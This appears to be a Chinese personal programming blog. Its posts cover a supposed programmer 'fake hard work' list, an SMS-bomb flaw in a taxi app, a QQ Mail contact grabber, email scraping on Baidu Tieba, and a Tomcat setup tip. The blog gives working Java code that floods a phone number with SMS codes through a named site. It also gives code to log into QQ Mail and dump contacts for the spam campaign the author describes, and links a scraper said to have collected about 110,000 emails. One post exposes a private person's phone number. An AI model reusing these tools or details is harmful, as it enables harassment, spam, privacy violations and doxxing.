这两周都没更新,大抵是太忙了……这几天都是晚上12点之后回家的……
从微博上看到这个,启发很大,发出来分享~
《程序员如何成功的假装在很努力的工作》
1.给人一个良好的第一印象;
2.在团队中不要太冒尖。老板会很快的习惯你的工作效率,会给你安排越来越多的工作。
3.写出优秀的代码,让代码维护起来很容易。
4.你的人际关系越好,你遇到问题时解决方法就越多。
原文短连接:http://t.cn/zHeyrri
just a diary
这两周都没更新,大抵是太忙了……这几天都是晚上12点之后回家的……
从微博上看到这个,启发很大,发出来分享~
《程序员如何成功的假装在很努力的工作》
1.给人一个良好的第一印象;
2.在团队中不要太冒尖。老板会很快的习惯你的工作效率,会给你安排越来越多的工作。
3.写出优秀的代码,让代码维护起来很容易。
4.你的人际关系越好,你遇到问题时解决方法就越多。
原文短连接:http://t.cn/zHeyrri
写在前面:
刚才有人人身威胁我,说的孔武有力的,这哥们手机号:15953100682,我把你不爽的那句话删了,其他都是事实,有劲你去找你们研发人员,为难自己员工,真的好意思吗?
你们强制删微博,很好。这个博客的东西是我自己的,劳资哪怕不干了也不会删的。漏洞也当面告诉你们了,你们改不改BUG,看不看我博客你们随意。
公司做了一个召出租车的软件,偶然发现了一个注册页面的短信验证码DDOS攻击漏洞。于是简单写个java类进行攻击测试,果然可以无限制发送垃圾短信。无奈这个也算自己公司做的,所以果断发微博@他们官方微博告知,没想到不一会就一个小姑娘给我打电话送来感谢话语,而且叮嘱马上关了程序吧,说工程师马上改……~hoho
首先说下原理:短信验证码想法是好的,可以有效防止注册攻击。但是如果发送短信没有时间限制或者每日发送条数的显示,很容易被人用来制作短信炸弹。简单的说就是通过程序不断模拟发送短信的请求,从而对指定号码发送短信。当然现在都是智能手机,可以马上屏蔽掉,但是垃圾短信还是会发送到后台的,至少我用安卓手机测试是这样的。
JAVA 测试类代码,继承了一个TimerTask类,大家懂得,可以写个定时器定时执行。他们已经改了,所以不用试了,仅供参考。
public class SmsBomb3 extends TimerTask{
public static int times=0;
/**
* @param args
*/
public static void main(String[] args) {
// TODO Auto-generated method stub
HttpClient client = new HttpClient();
Map paraMap=new HashMap();
PostMethod post = new PostMethod("/eap/lctaxi.getcode?phone=186XXXXOOOO");
//NameValuePair a = new NameValuePair("phone","186XXXXOOOO");//186XXXXOOOO
//post.setRequestBody(new NameValuePair[] {a});
//HttpMethod httpPost =getGetMethod();
client.getHostConfiguration().setHost("www.taxi369.com", 80, "http");
try {
int status = client.executeMethod(post);
System.out.println("status:"+status);
System.out.println(post.getResponseBodyAsString());
} catch (HttpException e) {
e.printStackTrace(System.err);
} catch (IOException e) {
e.printStackTrace(System.err);
}finally{
post.releaseConnection();
}
}
public void run() {
// TODO Auto-generated method stub
times=times+1;
HttpClient client = new HttpClient();
PostMethod post = new PostMethod("/eap/lctaxi.getcode?phone=186XXXXOOOO");
//HttpMethod httpPost =getGetMethod();
client.getHostConfiguration().setHost("www.taxi369.com", 80, "http");
try {
int status = client.executeMethod(post);
if(status==200)
{
System.out.println("ping success!"+times);
// System.out.println(httpPost.getResponseBodyAsString());
}
else if(status==302)
{
System.out.println("页面请求返回值为:"+status);
System.out.println(post.getResponseBodyAsString());
}
else
{
System.out.println("页面请求返回值为:"+status);
}
} catch (HttpException e) {
e.printStackTrace(System.err);
} catch (IOException e) {
e.printStackTrace(System.err);
}finally{
post.releaseConnection();
}
}
}
最后附上他们微博感谢的截图,嘿嘿
之前采集好了好多QQ邮箱,想通过程序把邮件发出去,但是各大邮箱限制太多,一发就进垃圾邮箱,还有就是发的太多了就直接封ip了,发也发不出去。能成功发出去三四封就不错了……
所以想通过登陆wap版的qq模拟进行发信,开始以为成功了。后来发现也不行,发了几封之后的邮件都跑到草稿箱里面了……
现在放出获取联系人的代码,希望对有心人有所帮助
PS:代码比较简陋没有经过整理,但是确实可以完成登录QQ邮箱并获取联系人信息,如果朋友想解析出联系人,可以使用jsoup或者正则
import java.io.IOException; import java.util.ArrayList; import java.util.List; import java.util.regex.Matcher; import java.util.regex.Pattern; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.NameValuePair; import org.apache.http.client.ClientProtocolException; import org.apache.http.client.CookieStore; import org.apache.http.client.HttpClient; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPost; import org.apache.http.impl.client.AbstractHttpClient; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.message.BasicNameValuePair; import org.apache.http.protocol.HTTP; import org.apache.http.util.EntityUtils; /** * * * @author www.kaedeen.com * */ public class GetContactList { /** * @param args */ public static void main(String[] args) { // TODO Auto-generated method stub String userName="XXXXX@qq.com"; String passWord="PASSWORD"; //0.确定host String host=getQQMailHost(); //1.登陆 String sid=""; HttpClient httpClient = new DefaultHttpClient(); String url="http://"+host+"/cgi-bin/login"; Listnvps = new ArrayList (); nvps.add(new BasicNameValuePair("device", "")); nvps.add(new BasicNameValuePair("f", "xhtml")); nvps.add(new BasicNameValuePair("tfcont", "")); nvps.add(new BasicNameValuePair("uin", userName)); nvps.add(new BasicNameValuePair("aliastype", "@qq.com")); nvps.add(new BasicNameValuePair("pwd", passWord)); nvps.add(new BasicNameValuePair("btlogin", "登陆")); nvps.add(new BasicNameValuePair("mss", "")); HttpPost httpPost =new HttpPost(url); HttpResponse httpResponse=null;//登陆请求返回信息 String reponseBody=""; try { httpPost.setEntity(new UrlEncodedFormEntity(nvps, HTTP.UTF_8)); httpPost.addHeader("Referer", "http://w.mail.qq.com/cgi-bin/loginpage?f=xhtml"); httpPost.addHeader("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1 "); httpResponse=httpClient.execute(httpPost); HttpEntity resEntity = httpResponse.getEntity(); reponseBody=EntityUtils.toString(resEntity); } catch (Exception e) { e.printStackTrace(); } finally { httpPost.abort(); } Pattern pattern = Pattern.compile("/today\?sid\=(.*)&first=1"); Matcher m = pattern.matcher(reponseBody); if (m.find()) { sid=m.group(1); } else { System.out.println("获取sid失败!"); } //2、获取联系人 HttpGet httpget =new HttpGet("http://"+host+"/cgi-bin/addr_listall?sid="+sid); httpget.setHeader("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1 "); try { //简单复用之前变量 httpResponse = httpClient.execute(httpget); HttpEntity resEntity = httpResponse.getEntity(); reponseBody=EntityUtils.toString(resEntity); System.out.println(reponseBody); } catch (ClientProtocolException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } } /** * 获取动态host地址 * @return */ public static String getQQMailHost() { String host=""; HttpClient httpClient = new DefaultHttpClient(); String url="http://w.mail.qq.com/cgi-bin/loginpage?f=xhtml"; HttpGet httpget =new HttpGet(url); httpget.setHeader("User-Agent", "Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1 "); try { HttpResponse httpResponse = httpClient.execute(httpget); Pattern pattern = Pattern.compile("Set-Cookie: edition\=(.*); Domain=.mail.qq.com; Path=/; Expires"); Matcher m = pattern.matcher(httpResponse.toString()); if (m.find()) { host=m.group(1); } else { System.out.println("获取host失败!"); } } catch (ClientProtocolException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } return host; } }
没想到网络影响力如此之大,小小的博客竟然被管理层看到了,仔细想了想原因可能是几篇技术文章分享到了QQ空间导致……
本来仅仅用来记录生活二三事以及自己对技术的记录的一块自留地,实在不想被太多人知道,博客到现在仅仅20ip左右吧,谷歌广告还莫名其妙被干掉。
难道我平时看起来真的和网络中一点不符吗?仅仅是个压抑的技术宅而已吧,何去何从?
这几天经常看百度贴吧。发现好多童鞋为了求各种资源,都很自觉的留下了自己的邮箱,但是楼主到底发不发可要看楼主心情了~
守着这么多邮箱,总是会让人衍生出很多想法的,具体怎么利用不知道,但是咱会写采集器啊…… 用的还是Httpclient+Jsoup没的说~
简单梳理下思路:
0.某个贴吧首页:http://tieba.baidu.com/f?kw=XXXXXX
1.遍历所有的展示页面:百度贴吧第几页的规则为在对应贴吧url后面加上 &pn=100 &pn=150 ,每50个一页
2.遍历每个页面的帖子地址
3.对于每个帖子,不断获取“下一页”链接,同时收集email地址写入文件Think more 如何实现多线程?
最后那个多线程貌似不太好实现,基本木法实现,百度帖子地址很难有规律可循,除非遍历整个百度帖吧所有帖子,而不是某个贴吧的帖子。
昨天晚上简单写了写,用“愣头青”的方式不断遍历,早上看了下,竟然采集到了大概11万左右的邮箱地址^^ ,当然很多应该是重复的,我只统计@的数量~
见图
附上代码,仅供参考,如果不能用说明百度采取措施了,或者换了网页结构。
貌似一放代码,网页这里就乱了,所以放百度网盘了~ http://pan.baidu.com/share/link?shareid=534479&uk=1914144947
windows下很多程序不用配置JAVA_HOME,是因为那些程序是直接通过读取注册表里边的路径获取了jdk的路径,比如eclipse(码农必备……)
但是Tomcat必须配置JAVA_HOME变量才能使用,给客户装每次也需要装一遍JDK然后再设置各种环境变量属性(如何配置java环境变量),当然大型项目都是用websphere或者weblogic这种中间件,那是因为这种客户一般有钱买大型服务器,这个另当别论……
今天简单看了一下,其实通过在tomcat下bin目录在startup.bat配置下JAVA_HOME,就可以不再安装JDK和配置环境变量,也可以使用tomcat了,当然这个必须拷贝一份绿色的jdk
具体配置:
1、下载绿色版的apache-tomcat-6.0.35解压到任何目录,把jdk放入tomcat路径下,我用的jdk1.5
2、在starup.bat的头部加入 set JAVA_HOME=”..jdk1.5”
如图:
经实验,tomcat正常启动。
当然您可以使用其他的绿色环境如JTM等,但是不太适合研究和修改。
我打包放到网盘,大家可自己下载使用,里面带有jdk1.5